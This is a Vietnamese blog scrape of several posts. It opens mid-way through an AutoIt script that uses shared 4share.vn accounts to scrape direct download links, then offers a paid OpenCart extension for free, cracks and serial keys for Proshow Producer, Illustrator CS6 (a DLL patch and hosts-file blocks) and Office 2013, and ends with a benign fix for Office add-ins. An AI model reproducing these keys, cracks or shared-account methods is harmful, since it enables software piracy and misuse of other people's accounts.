_ieloadwait($oie)
$oie.document.getelementbyid("inputUserName").value = $username
$oie.document.getelementbyid("inputPassword").value = $password
$oform = _ieformgetcollection($oie, 0)
_ieformsubmit($oform, 0)
_ieloadwait($oie)
GUICtrlSetData($label1, "Đang kiểm tra dung lượng download của accout")
$oie.navigate("http://up.4share.vn/?control=login")
_ieloadwait($oie)
$laybw = _iedocreadhtml($oie)
$bw = _stringbetween($laybw, " : <strong>", "</strong>")
$loaiacc = _stringbetween($laybw, "(<strong>", "</strong>)")
GUICtrlSetData($label2, "Acc " & $loaiacc[0] & " này đã sử dụng hết " & $bw[0] & " Nếu bị lỗi là do acc đã hết BW nên các bạn hãy get link vào hôm sau nhé")
Global $linkbd = (GUICtrlRead($edit1))
_filecreate(@TempDir & "\DLink.txt")
Sleep(200)
_filecreate(@TempDir & "\Link.txt")
Global $file = FileOpen(@TempDir & "\Link.txt", 0)
Global $file2 = FileOpen(@TempDir & "\DLink.txt", 1)
FileWrite(@TempDir & "\Link.txt", $linkbd & @CRLF)
If $file = -1 Then
MsgBox(0, "Error", "Lỗi không thể đọc được dữ liệu, hãy khởi động lại tool")
Exit
EndIf
Global $file = FileOpen(@TempDir & "\Link.txt", 128)
While 1
Local $line = FileReadLine($file)
If @error = -1 Then ExitLoop
$oie.navigate($line)
GUICtrlSetData($label1, "Get link " & $line)
_ieloadwait($oie)
Local $str = _iedocreadhtml($oie)
Global $link = _stringbetween($str, "http://sv", ‘"’)
$linkdl = StringRegExpReplace("http://sv" & $link[0], "&amp;", "&")
FileWrite(@TempDir & "\DLink.txt", $linkdl & @CRLF)
Global $xuatdlink = FileRead(@TempDir & "\DLink.txt")
GUICtrlSetData($edit2, $xuatdlink)
WEnd
_filecreate(@DesktopDir & "Direct Link up.4share.vn.txt")
FileWrite(@DesktopDir & "\Direct Link up.4share.vn.txt", $xuatdlink)
FileClose($file)
FileClose($file2)
$oie.quit
GUICtrlSetData($label1, "ĐÃ HOÀN THÀNH QUÁ TRÌNH LẤY DIRECT LINK.")
ClipPut(GUICtrlRead($edit2))
MsgBox(0, "THÔNG BÁO", "ĐÃ LẤY XONG DIRECT LINK." & @CRLF & "DIRECT LINK ĐỤOC LƯU TRONG FILE Direct Link up.4share.vn.txt ở DESKTOP." & @CRLF & "DIRECT LINK ĐÃ ĐƯỢC COPY VÀO CLIPBOARD.")
EndFunc
[/au3]

Lưu ý

Trong file đính kèm mình đã thêm 3 file ACC 1, 2, 3 tương ứng với 3 file tải về từ Dropbox trong đó có thông tin các acc 4 share. Thông tin tác giả và chi tiết các bạn xem trong script. Mình được share trên mạng nên mình share lại để các bạn học hỏi. Chúc các bạn thành công

Share extension Quick Checkout – One Page Checkout cho Opencart

Quick Checkout – One Page Checkout

Thực tế cho thấy việc phải điền nhiều thông tin rườm rà, trải qua nhiều thủ tục thanh toán lằng nhằng khiến khách hàng của chúng ta không đủ kiên nhẫn để mua sắm. Nhất là trong thời đại công nghiệp hóa hiện nay. Chúng ta chỉ cần khách hàng cung cấp đủ thông tin cơ bản như họ tên, địa chỉ nhận hàng, số điện thoại…Nước ta cũng đang làm cuộc cách mạng đơn giản hóa thủ tục hành là chính đó thôi 🙂 Lạc đề mất rồi
Hôm nay mình share extension Quick Checkout

Quick checkout opencart
Quick checkout opencart

http://www.opencart.com/index.php?route=extension/extension/info&extension_id=7382

Extension này có giá 70$ 🙂 🙂 🙂 (1.400.000 ngàn VNĐ đó ạ) Extension này được 1 bạn trên diễn đàn opencart.vn mua và chia sẻ vì thế hôm nay nó có mặt trên blog của mình mọi người không nên bán lại, chỉ sử dụng cho mình, hoặc nguyên cứu phát huy, hãy cùng phát triển opencart của VN theo đúng nghĩa.
Các bạn download tại đây nhé:

onepagecheckout.rar

Cài đặt

Upload , extract đè lên thư mục tương ứng admin,catalog
Vào admin website. trong phần module(phần mở rộng) kích hoạt module quick checkout, bật,tắt các loại bạn không muốn hiển thị.
Nếu bạn không có cài VQMOD thì làm thêm các bước sau:
– Sửa file catalog/controller/checkout/checkout.php
Tìm tới chỗ
[php]public function index() {[/php]
Dán đằng sau nó :
[php]
$quickcheckout_status = $this->config->get(‘quickcheckout_status’);
if ($quickcheckout_status == 1) {
$this->redirect($this->url->link(‘quickcheckout/checkout’));
}
[/php]
– Sửa file catalog/controller/account/logout.php
Tìm chỗ
[php]
unset($this->session->data[‘coupon’]);
[/php]
Dán đằng sau nó
[php]
unset($this->session->data[‘guest’]);
[/php]
OK. Done !

Aegisub biên tập phụ đề, làm Karaoke chuyên nghiệp

Aegisub Advanced Subtitle Editor

Aegisub là công cụ tạo và chỉnh sửa phụ đề miễn phí tuyệt vời. Aegisub không chỉ miễn phí mà còn là phần mềm mã nguồn mở. Aegisub có nhiều công cụ cho phép làm việc với âm thanh, hình ảnh có thể preview trực tiếp mạnh mẽ và tiện lợi. Aegisub được rất nhiều cộng đồng mạng Việt Nam hỗ trợ có cả các diễn đàn riêng về Aegisub1

Aegisub Advanced Subtitle Editor Logo
Aegisub Advanced Subtitle Editor Logo

Download Aegisub 3.0.2

+ Các bạn có thể download bản Portable hoặc Full Install. Phần mềm hỗ trợ Win 32/64 bit, MacOS. Download từ trang web của nhà sản xuất

http://www.aegisub.org/downloads/

+ Link dự phòng:
– Win 32bit Full Install:
https://docs.google.com/file/d/0B0x5WbPiQ0WtYUw5a1VpX2RVSUk/edit?usp=sharing
– Win 32bit Portable:
https://docs.google.com/file/d/0B0x5WbPiQ0WtamFYSjBJV2MyWFE/edit?usp=sharing
– Win 64bit Full Install:
https://docs.google.com/file/d/0B0x5WbPiQ0WtUnVjSTJUNndIQmM/edit?usp=sharing
– Win 64bit Portable:
https://docs.google.com/file/d/0B0x5WbPiQ0WtSjkyYVg4dnU5WU0/edit?usp=sharing
Aegisub hỗ trợ nhiều ngôn ngữ trong đó có cả Tiếng Việt bạn có thể download từ trang chủ hoặc ở đây
https://docs.google.com/file/d/0B0x5WbPiQ0WtMnJJU3dvcHVfZnM/edit?usp=sharing

Proshow Producer 5.0.3310 Full 2013

Proshow Producer 5
Proshow Producer 5

Download Proshow Producer

Photodex.com trang chủ của nhà sản xuất Proshow Producer dường như đã chặn IP Việt Nam các bạn phải fake IP để truy cập và download. Hiện tại phần mềm fake ip tốt nhất là Hotspot Shield rất đơn giản và dễ sử dụng
Nếu các bạn không download được từ trang chủ thì download tại đây:
GDrive:

https://docs.google.com/file/d/0B6k10y9mj_DZbzgyUUhfTjZZdVU/edit?usp=sharing

Đăng ký

Các bạn down file này về:

Kích hoạt Proshow Producer 5 Offline

Trong đó có 5 file các bạn paste 4 file .dnt vào thư mục cài đặt Proshow Producer. File .reg còn lại là file regedit các bạn chỉ cần kích đúp vào nó hiện thông báo các bạn cứ OK là xong.
Vì Proshow Producer đã chặn IP Việt Nam nên bạn nào không fake IP thì ko cần làm thêm bước này còn bạn nào fake IP thì nên thêm mấy dòng này vào file host nhé:

127.0.0.1 www.photodex.com
127.0.0.1 www.slideshowblog.com
127.0.0.1 www.picturecd.org
127.0.0.1 www.picturecd.net
127.0.0.1 www.cpic.com
127.0.0.1 www.picturecd.com

Mình chia sẻ phần mềm ít khi dùng file patch hoặc keygen hoặc các file exe ngoài file cài đặt để hạn chế virus. Các phần mềm mình chia sẻ đều đã test thành công. Chúc các bạn có nhiều tác phẩm đẹp

Adobe Illustrator CS6 Full “bản quyền” 1 link duy nhất

Adobe Illustrator CS6
Adobe Illustrator CS6

Download Adobe Illustrator CS6

+ Download bản mới nhất từ Adobe
– Bước 1: Lấy Cookie Download – click vào link:
Code:

http://www.adobe.com/cfusion/tdrc/index.cfm?product=illustrator

– Bước 2: Download 2 file sau
Code:

http://trials2.adobe.com/AdobeProducts/ILST/16/win32/Illustrator_16_LS16.7z
http://trials2.adobe.com/AdobeProducts/ILST/16/win32/Illustrator_16_LS16.exe

+ Hoặc Download từ GDrive:

https://docs.google.com/file/d/0B6k10y9mj_DZU2Rwa1hYekxJYXc/edit?usp=sharing
https://docs.google.com/file/d/0B6k10y9mj_DZb3hXdkxMWkx1QVE/edit?usp=sharing

Key bản quyền

1330-1642-1085-1634-7670-7031

Khi cài đặt các bạn nhớ ngắt kết nối mạng nhé

Patch Adobe Illustrator CS6

Adobe AI CS6 Patch

Copy file amtlib.dll (từ thư mục tương ứng với hệ điều hành của bạn là 64 bit hay 32 bit) và paste vào đường dẫn:

C:\Program Files\Adobe\Adobe Illustrator CS6\Support Files\Contents\Windows.

Ghi đè lên File amtlib.dll có sẵn

Microsoft Office Professional Plus 2013 bản chính thức + key “bản quyền” + 1 link duy nhất

Download Office 2013

Office 2013 đã ra phiên bản chính thức. Office 2013 tiến sâu hơn vào đám mây hỗ trợ thiết bị cảm ứng tốt hơn và chỉ hỗ trợ windows 7 và windows 8

Office 2013 logo
Office 2013 logo

Bài này mình không giới thiệu về Office 2013 mà chỉ giới thiệu link download:
Microsoft Office Professional Plus 2013 (x86):
Download tại GDrive:
https://docs.google.com/file/d/0B6k10y9mj_DZeklIVjZYcERSSjQ/edit?usp=sharing

Key “bản quyền”

OFFICE 2013 PRO PLUS Offline Activation RETAIL Keys [Retail Edition Only]:
[New Key1]: 6PVPD-CNWDQ-G734C-DG7BM-VQTXK
[New Key2]: JPMTN-GW9J2-QH2GT-XMQTD-7T7TX
[New Key3]: HNR7W-Q3D9C-G8PFP-FY7P8-RX6XK
[New Key4]: C8BNK-Y6CDW-9BVM9-WM9HY-QJYGX
[Tested working on 14 March 2013]

Mình đã test working 100% nhé

Fix lỗi “Microsoft Word has stopped working” Office 2013

Lỗi và nguyên nhân

Hôm nay mình sẽ hướng dẫn các bạn khắc phục lỗi không khởi động được các ứng dụng sau khi cài Office 2013 (don’t startup Office). Lỗi này không phải là lỗi do bộ cài đặt vì vậy các bạn có gỡ ra và cài lại hàng trăm hàng ngàn lần như trên một số diễn đàn hướng dẫn thì cũng không hiệu quả. Lỗi này xuất hiện sau khi cài đặt thành công Office 2013 nhưng khi khởi động bất kỳ ứng dụng nào cũng nhận được thông báo lỗi
Lỗi khi mở Word “Microsoft Word has stopped working”

Microsoft Word has stopped working error
Microsoft Word has stopped working error

Tương tự khi mở Excel nhận được thông báo lỗi “Microsoft Excel has stopped working”
Microsoft Excel has stopped working error
Microsoft Excel has stopped working error

Các ứng dụng khác cũng tương tự như vậy. Nguyên nhân chung của lỗi này là do các Add-ins (các thành phần mở rộng) đã được cài sẵn hoặc được cài thêm vào không tương thích với phiên bản Office 2013.

Khắc phục

Để khắc phục lỗi này các bạn cần chạy các ứng dụng trong bộ Office dưới chế độ Safe-mode. Chế độ Safe-mode sẽ không load các add-ins vì vậy các ứng dụng sẽ khởi động và chạy bình thường
Để chạy các ứng dụng ở chế độ Safe-mode các bạn mở hộp thoại Run (Windows + R) gõ tên ứng dụng + tham số /safe ví dụ “winword /safe” hoặc “excel /safe”
Sau khi ứng dụng đã chạy bạn vào tùy chọn để tắt các Add-ins không tương thích đi. Một trong những Add-ins hay gây ra lỗi nhất là “Sent to Bluetooth”.
Để tắt Add-ins các bạn vào menu File/Options

Options menu Word 2013
Options menu Word 2013

Trong cửa sổ tùy chọn các bạn chọn tab addins và chọn như hình minh họa
Quản lý add-ins
Quản lý add-ins

Cửa sổ Add-ins hiện ra bạn bỏ đánh dấu add-ins nào bạn nghĩ là nguyên nhân gây ra lỗi. Có thể bỏ lần lượt để xác định hoặc bỏ hết
Add remove add-ins
Add remove add-ins

Chúc các bạn thành công!